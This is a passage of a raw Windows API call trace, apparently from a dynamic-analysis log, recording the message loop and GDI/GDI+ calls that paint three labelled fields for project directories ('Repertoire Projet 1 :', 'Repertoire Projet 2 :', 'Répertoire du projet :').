lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0048.561] IsWindowUnicode (hWnd=0x301ae) returned 1 [0048.561] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0048.561] TranslateMessage (lpMsg=0x32f158) returned 0 [0048.561] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0048.561] BeginPaint (in: hWnd=0x301ae, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0x2010847 [0048.561] SelectPalette (hdc=0x2010847, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0048.561] CreateCompatibleDC (hdc=0x2010847) returned 0xc01084c [0048.562] DeleteObject (ho=0x6e050254) returned 1 [0048.562] GetObjectType (h=0x2010847) returned 0x3 [0048.562] CreateCompatibleBitmap (hdc=0x2010847, cx=1, cy=1) returned 0x32050808 [0048.562] GetDIBits (in: hdc=0x2010847, hbm=0x32050808, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x32e738, usage=0x0 | out: lpvBits=0x0, lpbmi=0x32e738) returned 1 [0048.562] GetDIBits (in: hdc=0x2010847, hbm=0x32050808, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x32e738, usage=0x0 | out: lpvBits=0x0, lpbmi=0x32e738) returned 1 [0048.562] DeleteObject (ho=0x32050808) returned 1 [0048.562] CreateDIBSection (in: hdc=0x2010847, lpbmi=0x32e788, usage=0x0, ppvBits=0x32ec7c, hSection=0x0, offset=0x0 | out: ppvBits=0x32ec7c) returned 0x6f050254 [0048.562] SelectObject (hdc=0xc01084c, h=0x6f050254) returned 0x185000f [0048.562] GdipCreateFromHDC (hdc=0xc01084c, graphics=0x32ec60) returned 0x0 [0048.562] GdipTranslateWorldTransform (graphics=0x4c34c00, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0048.562] GdipSetClipRectI (graphics=0x4c34c00, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0048.562] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0048.563] GdipGetWorldTransform (graphics=0x4c34c00, matrix=0x4c34ee0) returned 0x0 [0048.563] GdipIsMatrixIdentity (matrix=0x4c34ee0, result=0x32ecc0) returned 0x0 [0048.563] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0048.563] GdipGetMatrixElements (matrix=0x4c34ee0, matrixOut=0x6069d8) returned 0x0 [0048.563] LocalFree (hMem=0x6069d8) returned 0x0 [0048.563] GdipDeleteMatrix (matrix=0x4c34ee0) returned 0x0 [0048.563] GdipCreateRegion (region=0x32eca8) returned 0x0 [0048.563] GdipGetClip (graphics=0x4c34c00, region=0x4c34f10) returned 0x0 [0048.563] GdipIsInfiniteRegion (region=0x4c34f10, graphics=0x4c34c00, result=0x32ecb4) returned 0x0 [0048.563] GdipSaveGraphics (graphics=0x4c34c00, state=0x32ece0) returned 0x0 [0048.563] GetWindowTextLengthW (hWnd=0x301ae) returned 23 [0048.563] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0048.563] GetSystemMetrics (nIndex=42) returned 0 [0048.563] GetWindowTextW (in: hWnd=0x301ae, lpString=0x32ebcc, nMaxCount=24 | out: lpString="Repertoire Projet 2 : ") returned 23 [0048.563] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0xd, wParam=0x18, lParam=0x32ebcc) returned 0x17 [0048.563] GetClientRect (in: hWnd=0x301ae, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0048.563] GdipCreateRegion (region=0x32eafc) returned 0x0 [0048.563] GdipGetClip (graphics=0x4c34c00, region=0x4c35200) returned 0x0 [0048.563] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0048.563] GdipGetWorldTransform (graphics=0x4c34c00, matrix=0x4c35290) returned 0x0 [0048.563] GdipIsMatrixIdentity (matrix=0x4c35290, result=0x32eb14) returned 0x0 [0048.563] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0048.563] GdipGetMatrixElements (matrix=0x4c35290, matrixOut=0x6069d8) returned 0x0 [0048.564] LocalFree (hMem=0x6069d8) returned 0x0 [0048.564] GdipCombineRegionRegion (region=0x4c35200, region2=0x4c34f10, combineMode=0x1) returned 0x0 [0048.564] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0048.564] GdipGetMatrixElements (matrix=0x4c35290, matrixOut=0x6069d8) returned 0x0 [0048.564] LocalFree (hMem=0x6069d8) returned 0x0 [0048.564] GdipDeleteMatrix (matrix=0x4c35290) returned 0x0 [0048.564] GdipIsInfiniteRegion (region=0x4c35200, graphics=0x4c34c00, result=0x32eb3c) returned 0x0 [0048.564] GdipIsInfiniteRegion (region=0x4c35200, graphics=0x4c34c00, result=0x32eb2c) returned 0x0 [0048.564] GdipGetRegionHRgn (region=0x4c35200, graphics=0x4c34c00, hRgn=0x32eb2c) returned 0x0 [0048.564] GdipDeleteRegion (region=0x4c35200) returned 0x0 [0048.564] GdipGetDC (graphics=0x4c34c00, hdc=0x32eb44) returned 0x0 [0048.564] GetCurrentObject (hdc=0xc01084c, type=0x1) returned 0x1b00017 [0048.564] GetCurrentObject (hdc=0xc01084c, type=0x2) returned 0x1900010 [0048.564] GetCurrentObject (hdc=0xc01084c, type=0x7) returned 0x6f050254 [0048.564] GetCurrentObject (hdc=0xc01084c, type=0x6) returned 0x18a002e [0048.564] SaveDC (hdc=0xc01084c) returned 1 [0048.564] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3904025c [0048.564] GetClipRgn (hdc=0xc01084c, hrgn=0x3904025c) returned 0 [0048.564] SelectClipRgn (hdc=0xc01084c, hrgn=0x160401e3) returned 2 [0048.565] DeleteObject (ho=0x3904025c) returned 1 [0048.565] DeleteObject (ho=0x160401e3) returned 1 [0048.565] OffsetViewportOrgEx (in: hdc=0xc01084c, x=0, y=0, lppt=0x25bbf68 | out: lppt=0x25bbf68) returned 1 [0048.565] GetNearestColor (hdc=0xc01084c, color=0xc8c8c8) returned 0xc8c8c8 [0048.565] CreateSolidBrush (color=0xc8c8c8) returned 0x810084d [0048.565] FillRect (hDC=0xc01084c, lprc=0x32eb48, hbr=0x810084d) returned 1 [0048.565] DeleteObject (ho=0x810084d) returned 1 [0048.565] RestoreDC (hdc=0xc01084c, nSavedDC=-1) returned 1 [0048.565] GdipReleaseDC (graphics=0x4c34c00, hdc=0xc01084c) returned 0x0 [0048.565] GdipRestoreGraphics (graphics=0x4c34c00, state=0xfdb50dbd) returned 0x0 [0048.565] GdipDeleteRegion (region=0x4c34f10) returned 0x0 [0048.565] GetWindowTextLengthW (hWnd=0x301ae) returned 23 [0048.565] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0048.565] GetSystemMetrics (nIndex=42) returned 0 [0048.565] GetWindowTextW (in: hWnd=0x301ae, lpString=0x32ebcc, nMaxCount=24 | out: lpString="Repertoire Projet 2 : ") returned 23 [0048.565] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0xd, wParam=0x18, lParam=0x32ebcc) returned 0x17 [0048.565] GdipGetDC (graphics=0x4c34c00, hdc=0x32eb64) returned 0x0 [0048.565] GetCurrentObject (hdc=0xc01084c, type=0x1) returned 0x1b00017 [0048.566] GetCurrentObject (hdc=0xc01084c, type=0x2) returned 0x1900010 [0048.566] GetCurrentObject (hdc=0xc01084c, type=0x7) returned 0x6f050254 [0048.566] GetCurrentObject (hdc=0xc01084c, type=0x6) returned 0x18a002e [0048.566] SaveDC (hdc=0xc01084c) returned 1 [0048.566] GetNearestColor (hdc=0xc01084c, color=0x0) returned 0x0 [0048.566] RestoreDC (hdc=0xc01084c, nSavedDC=-1) returned 1 [0048.566] GdipReleaseDC (graphics=0x4c34c00, hdc=0xc01084c) returned 0x0 [0048.566] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0048.566] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0048.566] DrawTextExW (in: hdc=0x11010846, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x32ea70, format=0x102404, lpdtp=0x25bc248 | out: lpchText="Repertoire Projet 2 : ", lprc=0x32ea70) returned 13 [0048.566] GdipGetTextRenderingHint (graphics=0x4c34c00, mode=0x32eb04) returned 0x0 [0048.566] GdipGetDC (graphics=0x4c34c00, hdc=0x32eaf0) returned 0x0 [0048.566] GetCurrentObject (hdc=0xc01084c, type=0x1) returned 0x1b00017 [0048.566] GetCurrentObject (hdc=0xc01084c, type=0x2) returned 0x1900010 [0048.567] GetCurrentObject (hdc=0xc01084c, type=0x7) returned 0x6f050254 [0048.567] GetCurrentObject (hdc=0xc01084c, type=0x6) returned 0x18a002e [0048.567] SaveDC (hdc=0xc01084c) returned 1 [0048.567] GetTextAlign (hdc=0xc01084c) returned 0x0 [0048.567] GetTextColor (hdc=0xc01084c) returned 0x0 [0048.567] GetCurrentObject (hdc=0xc01084c, type=0x6) returned 0x18a002e [0048.567] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0048.567] SelectObject (hdc=0xc01084c, h=0x100a0252) returned 0x18a002e [0048.567] GetBkMode (hdc=0xc01084c) returned 2 [0048.567] SetBkMode (hdc=0xc01084c, mode=1) returned 2 [0048.567] DrawTextExW (in: hdc=0xc01084c, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x32e8cc, format=0x100404, lpdtp=0x25bc460 | out: lpchText="Repertoire Projet 2 : ", lprc=0x32e8cc) returned 13 [0048.567] DrawTextExW (in: hdc=0xc01084c, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x32ea84, format=0x100004, lpdtp=0x25bc460 | out: lpchText="Repertoire Projet 2 : ", lprc=0x32ea84) returned 13 [0048.568] RestoreDC (hdc=0xc01084c, nSavedDC=-1) returned 1 [0048.568] GdipReleaseDC (graphics=0x4c34c00, hdc=0xc01084c) returned 0x0 [0048.568] GdipGetDC (graphics=0x4c34c00, hdc=0x32eca0) returned 0x0 [0048.568] BitBlt (hdc=0x2010847, x=0, y=0, cx=161, cy=21, hdcSrc=0xc01084c, x1=0, y1=0, rop=0xcc0020) returned 1 [0048.568] GdipReleaseDC (graphics=0x4c34c00, hdc=0xc01084c) returned 0x0 [0048.568] SelectPalette (hdc=0x2010847, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0048.568] SelectObject (hdc=0xc01084c, h=0x185000f) returned 0x6f050254 [0048.568] DeleteDC (hdc=0xc01084c) returned 1 [0048.568] GdipDeleteGraphics (graphics=0x4c34c00) returned 0x0 [0048.568] EndPaint (hWnd=0x301ae, lpPaint=0x32ec44) returned 1 [0048.568] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0048.568] IsWindowUnicode (hWnd=0x201e6) returned 1 [0048.568] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0048.568] TranslateMessage (lpMsg=0x32f158) returned 0 [0048.568] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0048.569] BeginPaint (in: hWnd=0x201e6, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0x12010815 [0048.569] SelectPalette (hdc=0x12010815, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0048.569] CreateCompatibleDC (hdc=0x12010815) returned 0xe01084c [0048.569] SelectObject (hdc=0xe01084c, h=0x6f050254) returned 0x185000f [0048.569] GdipCreateFromHDC (hdc=0xe01084c, graphics=0x32ec60) returned 0x0 [0048.569] GdipTranslateWorldTransform (graphics=0x4c34c00, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0048.569] GdipSetClipRectI (graphics=0x4c34c00, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0048.569] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0048.569] GdipGetWorldTransform (graphics=0x4c34c00, matrix=0x4c34ee0) returned 0x0 [0048.569] GdipIsMatrixIdentity (matrix=0x4c34ee0, result=0x32ecc0) returned 0x0 [0048.569] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0048.569] GdipGetMatrixElements (matrix=0x4c34ee0, matrixOut=0x6069d8) returned 0x0 [0048.569] LocalFree (hMem=0x6069d8) returned 0x0 [0048.569] GdipDeleteMatrix (matrix=0x4c34ee0) returned 0x0 [0048.569] GdipCreateRegion (region=0x32eca8) returned 0x0 [0048.569] GdipGetClip (graphics=0x4c34c00, region=0x4c34f10) returned 0x0 [0048.569] GdipIsInfiniteRegion (region=0x4c34f10, graphics=0x4c34c00, result=0x32ecb4) returned 0x0 [0048.569] GdipSaveGraphics (graphics=0x4c34c00, state=0x32ece0) returned 0x0 [0048.569] GetWindowTextLengthW (hWnd=0x201e6) returned 23 [0048.569] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0048.569] GetSystemMetrics (nIndex=42) returned 0 [0048.570] GetWindowTextW (in: hWnd=0x201e6, lpString=0x32ebcc, nMaxCount=24 | out: lpString="Repertoire Projet 1 : ") returned 23 [0048.570] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0xd, wParam=0x18, lParam=0x32ebcc) returned 0x17 [0048.570] GetClientRect (in: hWnd=0x201e6, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0048.570] GdipCreateRegion (region=0x32eafc) returned 0x0 [0048.570] GdipGetClip (graphics=0x4c34c00, region=0x4c35200) returned 0x0 [0048.570] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0048.570] GdipGetWorldTransform (graphics=0x4c34c00, matrix=0x4c35290) returned 0x0 [0048.570] GdipIsMatrixIdentity (matrix=0x4c35290, result=0x32eb14) returned 0x0 [0048.570] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0048.570] GdipGetMatrixElements (matrix=0x4c35290, matrixOut=0x6069d8) returned 0x0 [0048.570] LocalFree (hMem=0x6069d8) returned 0x0 [0048.570] GdipCombineRegionRegion (region=0x4c35200, region2=0x4c34f10, combineMode=0x1) returned 0x0 [0048.570] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0048.570] GdipGetMatrixElements (matrix=0x4c35290, matrixOut=0x6069d8) returned 0x0 [0048.570] LocalFree (hMem=0x6069d8) returned 0x0 [0048.570] GdipDeleteMatrix (matrix=0x4c35290) returned 0x0 [0048.570] GdipIsInfiniteRegion (region=0x4c35200, graphics=0x4c34c00, result=0x32eb3c) returned 0x0 [0048.570] GdipIsInfiniteRegion (region=0x4c35200, graphics=0x4c34c00, result=0x32eb2c) returned 0x0 [0048.570] GdipGetRegionHRgn (region=0x4c35200, graphics=0x4c34c00, hRgn=0x32eb2c) returned 0x0 [0048.570] GdipDeleteRegion (region=0x4c35200) returned 0x0 [0048.570] GdipGetDC (graphics=0x4c34c00, hdc=0x32eb44) returned 0x0 [0048.570] GetCurrentObject (hdc=0xe01084c, type=0x1) returned 0x1b00017 [0048.571] GetCurrentObject (hdc=0xe01084c, type=0x2) returned 0x1900010 [0048.571] GetCurrentObject (hdc=0xe01084c, type=0x7) returned 0x6f050254 [0048.571] GetCurrentObject (hdc=0xe01084c, type=0x6) returned 0x18a002e [0048.571] SaveDC (hdc=0xe01084c) returned 1 [0048.571] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x170401e3 [0048.571] GetClipRgn (hdc=0xe01084c, hrgn=0x170401e3) returned 0 [0048.571] SelectClipRgn (hdc=0xe01084c, hrgn=0x3d04025c) returned 2 [0048.571] DeleteObject (ho=0x170401e3) returned 1 [0048.571] DeleteObject (ho=0x3d04025c) returned 1 [0048.571] OffsetViewportOrgEx (in: hdc=0xe01084c, x=0, y=0, lppt=0x25bc8dc | out: lppt=0x25bc8dc) returned 1 [0048.571] GetNearestColor (hdc=0xe01084c, color=0xc8c8c8) returned 0xc8c8c8 [0048.571] CreateSolidBrush (color=0xc8c8c8) returned 0x910084d [0048.571] FillRect (hDC=0xe01084c, lprc=0x32eb48, hbr=0x910084d) returned 1 [0048.571] DeleteObject (ho=0x910084d) returned 1 [0048.571] RestoreDC (hdc=0xe01084c, nSavedDC=-1) returned 1 [0048.572] GdipReleaseDC (graphics=0x4c34c00, hdc=0xe01084c) returned 0x0 [0048.572] GdipRestoreGraphics (graphics=0x4c34c00, state=0xfdb30dbd) returned 0x0 [0048.572] GdipDeleteRegion (region=0x4c34f10) returned 0x0 [0048.572] GetWindowTextLengthW (hWnd=0x201e6) returned 23 [0048.572] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0048.572] GetSystemMetrics (nIndex=42) returned 0 [0048.572] GetWindowTextW (in: hWnd=0x201e6, lpString=0x32ebcc, nMaxCount=24 | out: lpString="Repertoire Projet 1 : ") returned 23 [0048.572] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0xd, wParam=0x18, lParam=0x32ebcc) returned 0x17 [0048.572] GdipGetDC (graphics=0x4c34c00, hdc=0x32eb64) returned 0x0 [0048.572] GetCurrentObject (hdc=0xe01084c, type=0x1) returned 0x1b00017 [0048.572] GetCurrentObject (hdc=0xe01084c, type=0x2) returned 0x1900010 [0048.572] GetCurrentObject (hdc=0xe01084c, type=0x7) returned 0x6f050254 [0048.572] GetCurrentObject (hdc=0xe01084c, type=0x6) returned 0x18a002e [0048.572] SaveDC (hdc=0xe01084c) returned 1 [0048.572] GetNearestColor (hdc=0xe01084c, color=0x0) returned 0x0 [0048.572] RestoreDC (hdc=0xe01084c, nSavedDC=-1) returned 1 [0048.572] GdipReleaseDC (graphics=0x4c34c00, hdc=0xe01084c) returned 0x0 [0048.573] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0048.573] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0048.573] DrawTextExW (in: hdc=0x11010846, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x32ea70, format=0x102404, lpdtp=0x25bcbbc | out: lpchText="Repertoire Projet 1 : ", lprc=0x32ea70) returned 13 [0048.573] GdipGetTextRenderingHint (graphics=0x4c34c00, mode=0x32eb04) returned 0x0 [0048.573] GdipGetDC (graphics=0x4c34c00, hdc=0x32eaf0) returned 0x0 [0048.573] GetCurrentObject (hdc=0xe01084c, type=0x1) returned 0x1b00017 [0048.573] GetCurrentObject (hdc=0xe01084c, type=0x2) returned 0x1900010 [0048.573] GetCurrentObject (hdc=0xe01084c, type=0x7) returned 0x6f050254 [0048.573] GetCurrentObject (hdc=0xe01084c, type=0x6) returned 0x18a002e [0048.573] SaveDC (hdc=0xe01084c) returned 1 [0048.573] GetTextAlign (hdc=0xe01084c) returned 0x0 [0048.573] GetTextColor (hdc=0xe01084c) returned 0x0 [0048.573] GetCurrentObject (hdc=0xe01084c, type=0x6) returned 0x18a002e [0048.573] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0048.573] SelectObject (hdc=0xe01084c, h=0x100a0252) returned 0x18a002e [0048.573] GetBkMode (hdc=0xe01084c) returned 2 [0048.573] SetBkMode (hdc=0xe01084c, mode=1) returned 2 [0048.574] DrawTextExW (in: hdc=0xe01084c, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x32e8cc, format=0x100404, lpdtp=0x25bcdd4 | out: lpchText="Repertoire Projet 1 : ", lprc=0x32e8cc) returned 13 [0048.574] DrawTextExW (in: hdc=0xe01084c, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x32ea84, format=0x100004, lpdtp=0x25bcdd4 | out: lpchText="Repertoire Projet 1 : ", lprc=0x32ea84) returned 13 [0048.574] RestoreDC (hdc=0xe01084c, nSavedDC=-1) returned 1 [0048.574] GdipReleaseDC (graphics=0x4c34c00, hdc=0xe01084c) returned 0x0 [0048.574] GdipGetDC (graphics=0x4c34c00, hdc=0x32eca0) returned 0x0 [0048.574] BitBlt (hdc=0x12010815, x=0, y=0, cx=161, cy=21, hdcSrc=0xe01084c, x1=0, y1=0, rop=0xcc0020) returned 1 [0048.574] GdipReleaseDC (graphics=0x4c34c00, hdc=0xe01084c) returned 0x0 [0048.574] SelectPalette (hdc=0x12010815, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0048.576] SelectObject (hdc=0xe01084c, h=0x185000f) returned 0x6f050254 [0048.576] DeleteDC (hdc=0xe01084c) returned 1 [0048.576] GdipDeleteGraphics (graphics=0x4c34c00) returned 0x0 [0048.576] EndPaint (hWnd=0x201e6, lpPaint=0x32ec44) returned 1 [0048.576] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0048.576] IsWindowUnicode (hWnd=0x301bc) returned 1 [0048.576] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0048.576] TranslateMessage (lpMsg=0x32f158) returned 0 [0048.576] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0048.576] BeginPaint (in: hWnd=0x301bc, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0x1010830 [0048.576] SelectPalette (hdc=0x1010830, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0048.576] CreateCompatibleDC (hdc=0x1010830) returned 0x1001084c [0048.576] SelectObject (hdc=0x1001084c, h=0x6f050254) returned 0x185000f [0048.576] GdipCreateFromHDC (hdc=0x1001084c, graphics=0x32ec60) returned 0x0 [0048.576] GdipTranslateWorldTransform (graphics=0x4c34c00, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0048.576] GdipSetClipRectI (graphics=0x4c34c00, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0048.576] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0048.576] GdipGetWorldTransform (graphics=0x4c34c00, matrix=0x4c34ee0) returned 0x0 [0048.576] GdipIsMatrixIdentity (matrix=0x4c34ee0, result=0x32ecc0) returned 0x0 [0048.577] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0048.577] GdipGetMatrixElements (matrix=0x4c34ee0, matrixOut=0x6069d8) returned 0x0 [0048.577] LocalFree (hMem=0x6069d8) returned 0x0 [0048.577] GdipDeleteMatrix (matrix=0x4c34ee0) returned 0x0 [0048.577] GdipCreateRegion (region=0x32eca8) returned 0x0 [0048.577] GdipGetClip (graphics=0x4c34c00, region=0x4c34f10) returned 0x0 [0048.577] GdipIsInfiniteRegion (region=0x4c34f10, graphics=0x4c34c00, result=0x32ecb4) returned 0x0 [0048.577] GdipSaveGraphics (graphics=0x4c34c00, state=0x32ece0) returned 0x0 [0048.577] GetWindowTextLengthW (hWnd=0x301bc) returned 22 [0048.577] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0048.577] GetSystemMetrics (nIndex=42) returned 0 [0048.577] GetWindowTextW (in: hWnd=0x301bc, lpString=0x32ebcc, nMaxCount=23 | out: lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 22 [0048.577] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0xd, wParam=0x17, lParam=0x32ebcc) returned 0x16 [0048.577] GetClientRect (in: hWnd=0x301bc, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0048.577] GdipCreateRegion (region=0x32eafc) returned 0x0 [0048.577] GdipGetClip (graphics=0x4c34c00, region=0x4c35200) returned 0x0 [0048.577] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0048.577] GdipGetWorldTransform (graphics=0x4c34c00, matrix=0x4c35290) returned 0x0 [0048.577] GdipIsMatrixIdentity (matrix=0x4c35290, result=0x32eb14) returned 0x0 [0048.577] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0048.577] GdipGetMatrixElements (matrix=0x4c35290, matrixOut=0x6069d8) returned 0x0 [0048.577] LocalFree (hMem=0x6069d8) returned 0x0 [0048.577] GdipCombineRegionRegion (region=0x4c35200, region2=0x4c34f10, combineMode=0x1) returned 0x0 [0048.578] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0048.578] GdipGetMatrixElements (matrix=0x4c35290, matrixOut=0x6069d8) returned 0x0 [0048.578] LocalFree (hMem=0x6069d8) returned 0x0 [0048.578] GdipDeleteMatrix (matrix=0x4c35290) returned 0x0 [0048.578] GdipIsInfiniteRegion (region=0x4c35200, graphics=0x4c34c00, result=0x32eb3c) returned 0x0 [0048.578] GdipIsInfiniteRegion (region=0x4c35200, graphics=0x4c34c00, result=0x32eb2c) returned 0x0 [0048.578] GdipGetRegionHRgn (region=0x4c35200, graphics=0x4c34c00, hRgn=0x32eb2c) returned 0x0 [0048.578] GdipDeleteRegion (region=0x4c35200) returned 0x0 [0048.578] GdipGetDC (graphics=0x4c34c00, hdc=0x32eb44) returned 0x0 [0048.578] GetCurrentObject (hdc=0x1001084c, type=0x1) returned 0x1b00017 [0048.578] GetCurrentObject (hdc=0x1001084c, type=0x2) returned 0x1900010 [0048.578] GetCurrentObject (hdc=0x1001084c, type=0x7) returned 0x6f050254 [0048.578] GetCurrentObject (hdc=0x1001084c, type=0x6) returned 0x18a002e [0048.578] SaveDC (hdc=0x1001084c) returned 1 [0048.578] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3e04025c [0048.578] GetClipRgn (hdc=0x1001084c, hrgn=0x3e04025c) returned 0 [0048.578] SelectClipRgn (hdc=0x1001084c, hrgn=0x1b0401e3) returned 2 [0048.578] DeleteObject (ho=0x3e04025c) returned 1 [0048.578] DeleteObject (ho=0x1b0401e3) returned 1 [0048.578] OffsetViewportOrgEx (in: hdc=0x1001084c, x=0, y=0, lppt=0x25bd250 | out: lppt=0x25bd250) returned 1 [0048.578] GetNearestColor (hdc=0x1001084c, color=0xc8c8c8) returned 0xc8c8c8 [0048.579] CreateSolidBrush (color=0xc8c8c8) returned 0xa10084d [0048.579] FillRect (hDC=0x1001084c, lprc=0x32eb48, hbr=0xa10084d) returned 1 [0048.579] DeleteObject (ho=0xa10084d) returned 1 [0048.579] RestoreDC (hdc=0x1001084c, nSavedDC=-1) returned 1 [0048.579] GdipReleaseDC (graphics=0x4c34c00, hdc=0x1001084c) returned 0x0 [0048.579] GdipRestoreGraphics (graphics=0x4c34c00, state=0xfdb10dbd) returned 0x0 [0048.579] GdipDeleteRegion (region=0x4c34f10) returned 0x0 [0048.579] GetWindowTextLengthW (hWnd=0x301bc) returned 22 [0048.579] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0048.579] GetSystemMetrics (nIndex=42) returned 0 [0048.579] GetWindowTextW (in: hWnd=0x301bc, lpString=0x32ebcc, nMaxCount=23 | out: lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 22 [0048.579] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0xd, wParam=0x17, lParam=0x32ebcc) returned 0x16 [0048.579] GdipGetDC (graphics=0x4c34c00, hdc=0x32eb64) returned 0x0 [0048.579] GetCurrentObject (hdc=0x1001084c, type=0x1) returned 0x1b00017 [0048.579] GetCurrentObject (hdc=0x1001084c, type=0x2) returned 0x1900010 [0048.579] GetCurrentObject (hdc=0x1001084c, type=0x7) returned 0x6f050254 [0048.579] GetCurrentObject (hdc=0x1001084c, type=0x6) returned 0x18a002e [0048.579] SaveDC (hdc=0x1001084c) returned 1 [0048.579] GetNearestColor (hdc=0x1001084c, color=0x0) returned 0x0 [0048.579] RestoreDC (hdc=0x1001084c, nSavedDC=-1) returned 1 [0048.579] GdipReleaseDC (graphics=0x4c34c00, hdc=0x1001084c) returned 0x0 [0048.580] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0050.165] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0050.165] DrawTextExW (in: hdc=0x11010846, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x32ea70, format=0x102404, lpdtp=0x25bd530 | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x32ea70) returned 13 [0050.166] 